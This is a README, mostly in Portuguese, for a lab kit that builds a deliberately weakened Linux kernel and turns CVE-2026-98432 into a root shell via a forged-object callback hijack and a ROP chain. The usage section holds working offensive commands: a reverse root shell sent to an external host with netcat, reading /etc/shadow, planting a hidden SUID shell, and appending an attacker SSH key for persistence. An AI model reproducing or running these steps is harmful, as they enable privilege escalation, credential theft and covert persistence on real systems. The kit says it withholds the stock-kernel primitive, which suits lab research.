
Kit de shell root de laboratório para CVE-2026-98432 (auxilia o kernel; não é um exploit remoto padrão)
Este kit compila um kernel Linux 6.12.112 deliberadamente vulnerável com um pequeno auxílio de explorabilidade e transforma o caminho do CVE-2026-98432 em um shell root interativo no console do QEMU.
É um auxílio de laboratório, não um exploit remoto pronto. Os caminhos de código reais do CVE são utilizados:
ip_options_rcu forjado chega a ip_options_build() através do
caminho de SYN-ACK retransmitido;skb_shared_info do SYN-ACK é corrompido;skb_release_data() chama o callback forjado ubuf_info->ops->complete;call_usermodehelper("/bin/sh", ...).O auxílio é a liberação forçada/objeto forjado e a cadeia de callback/ROP preparada. Em um kernel vulnerável pronto, a peça que falta é a primitiva confiável de recuperação no mesmo slab/mesma CPU e de preparação de payload; ela não é publicada. Veja "Status do kernel pronto" abaixo.
/dev/kvm) fortemente recomendado; TCG funciona mas é lentosudo apt-get update
sudo apt-get install -y build-essential flex bison bc libelf-dev libssl-dev \
cpio qemu-system-x86 busybox-static python3 python3-pip
python3 -m pip install --user ROPgadget
cd cve-2026-98432-root-shell
chmod +x build.sh
./build.sh
O primeiro build baixa o Linux 6.12.112, reverte as duas chamadas kfree_rcu(),
aplica o auxílio, compila o bzImage, resolve símbolos/gadgets a partir do vmlinux
patcheado, recompila, empacota um initramfs e inicializa o QEMU com nokaslr.
Se o KVM não estiver disponível:
QEMU_ACCEL=tcg ./build.sh
(O script atualmente recorre automaticamente ao TCG quando /dev/kvm não é
gravável; a variável QEMU_ACCEL é aceita por conveniência.)
Num segundo terminal no host:
python3 trigger.py 127.0.0.1 9000
O init convidado criou /tmp/cve98432_root.sh com um shell de console
(sh -i </dev/console). Uma única conexão TCP ao listener do convidado é
suficiente. O console do convidado deve mostrar algo como:
[ 3.942024] BUG: scheduling while atomic: ...
...
uid=0 gid=0
#
Copie root_shell.py para o alvo (que já inicializa o kernel aid) e
execute-o como o usuário que você possui:
python3 root_shell.py
Ele grava /tmp/cve98432_root.sh com um payload de reverse shell como root, inicia
dois listeners em loopback (9000 para o gatilho, 4444 para o shell), aciona
o aid e conecta o shell root ao seu terminal:
[+] trigger sent; waiting for the root shell...
[+] root shell connected; type commands, exit to close
uid=0 gid=0
#
Opções úteis:
# check kernel/aid/ports without sending anything
python3 root_shell.py --check
# run one command as root and print its output
python3 root_shell.py --command 'id; cat /etc/shadow | head'
# send the root shell to an external listener instead of bridging locally
# (run: nc -lvnp 4444 on your machine first)
python3 root_shell.py --reverse 10.0.0.5:4444
# different ports / retries / no TTY raw mode
python3 root_shell.py --trigger-port 9100 --shell-port 4455 --retries 5
A cadeia de aid chama machine_power_off() apenas depois que o comando root termina.
Se o comando root nunca terminar, o kernel aguarda em call_usermodehelper()
e o host permanece ativo. Isso permite criar um caminho de root persistente:
# SUID shell in /var/tmp, then keep the helper alive
python3 root_shell.py --command \
'cp /bin/sh /var/tmp/.rootsh; chmod 4755 /var/tmp/.rootsh; sleep 86400'
# after the client returns
/var/tmp/.rootsh -p
ou adicione uma chave SSH e mantenha o helper ativo:
python3 root_shell.py --command \
'mkdir -p /root/.ssh; echo "ssh-ed25519 AAAA... you@host" >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys; sleep 86400'
O sleep mantém o helper de usermode (e, portanto, a cadeia do kernel) ativo,
de modo que o alvo não desliga. Use /var/tmp ou /root, não /tmp,
se /tmp estiver montado com noexec/nosuid. Quando o sleep termina, a cadeia
é retomada e desliga o host; encerre o processo de sleep como root se quiser
controlar isso.
O arquivo de payload é criado com 0700 e O_EXCL|O_NOFOLLOW, e é
removido após o uso, a menos que --keep-payload seja fornecido. Quando você sai do shell
root, a cadeia aid chama machine_power_off(). Use uma VM descartável, ou
edite AID_POWEROFF em aid_patch.py se precisar que o host permaneça ativo.
A cadeia executa:
call_usermodehelper("/bin/sh", ["-c", "sh /tmp/cve98432_root.sh"], env, 2)
portanto o script sempre é executado como root.
| peça | status |
|---|---|
ip_options_rcu forjado + ip_options_build() | caminho da CVE, mas a alocação é forçada pelo auxílio |
corrupção de skb_shared_info | o auxílio define os campos diretamente em tcp_v4_send_synack() |
sequestro do callback destructor_arg | caminho real de teardown a jusante |
pivot ROP + call_usermodehelper() | sequestro real de fluxo de controle do kernel, preparado pelo auxílio |
boot com nokaslr | simplificação de laboratório; nenhum vazamento de KASLR é necessário |
A pesquisa independente publicada que este kit segue chegou ao mesmo ponto com um kernel instrumentado: escrita OOB real e caminho de callback, com liberação/recuperação e preparação de payload auxiliadas. Uma cadeia armada para kernel padrão não está disponível publicamente em 2026-11-02.
O auxílio usa endereços absolutos do kernel porque o convidado inicializa com
nokaslr. Os valores em aid_patch.py são padrões da build de laboratório
6.12.112 publicada. resolve.py lê o vmlinux patcheado e
System.map e grava symbols.json; build.sh então atualiza os defines
e reconstrói.
Se resolve.py não conseguir encontrar um gadget (ROPgadget ausente ou incompleto),
instale-o e execute novamente:
python3 -m pip install --user ROPgadget
python3 resolve.py work/linux-6.12.112
python3 aid_patch.py --update work/linux-6.12.112
make -C work/linux-6.12.112 -j"$(nproc)" bzImage
O gadget de pivot deve corresponder ao layout da cadeia em aid_patch.py: um
lea -0x18(%rbp), %rsp mais quatro pops e um ret/jmp. Se a sua build tiver
um pivot diferente, ajuste SEND_BLOCK em aid_patch.py ou escolha um gadget
correspondente.
Um kernel stock vulnerável não possui uma cadeia de root pública, não assistida e confiável. Os bloqueios são:
ip_options_rcu de 72 bytes liberado deve ser recuperado dentro da
janela free-to-build por um objeto com bytes controlados pelo atacante. O
objeto saved_syn (TCP_SAVE_SYN) é o candidato natural, mas as medições
independentes de laboratório mostram que a recuperação geralmente recai
sobre outro bloco de opções, não sobre o chunk em trânsito.srr/rr/ts fornecem quatro bytes controlados em um
offset próximo ao buffer skb; escrever um ponteiro destructor_arg completo
de 8 bytes requer um dword alto obsoleto ou uma primitiva mais forte.A cadeia Anthropic publicada resolve esses problemas com uma primitiva de recuperação/staging que não foi divulgada. Este kit deliberadamente para na demonstração de fluxo de controle em vez de fingir que a cadeia stock funciona.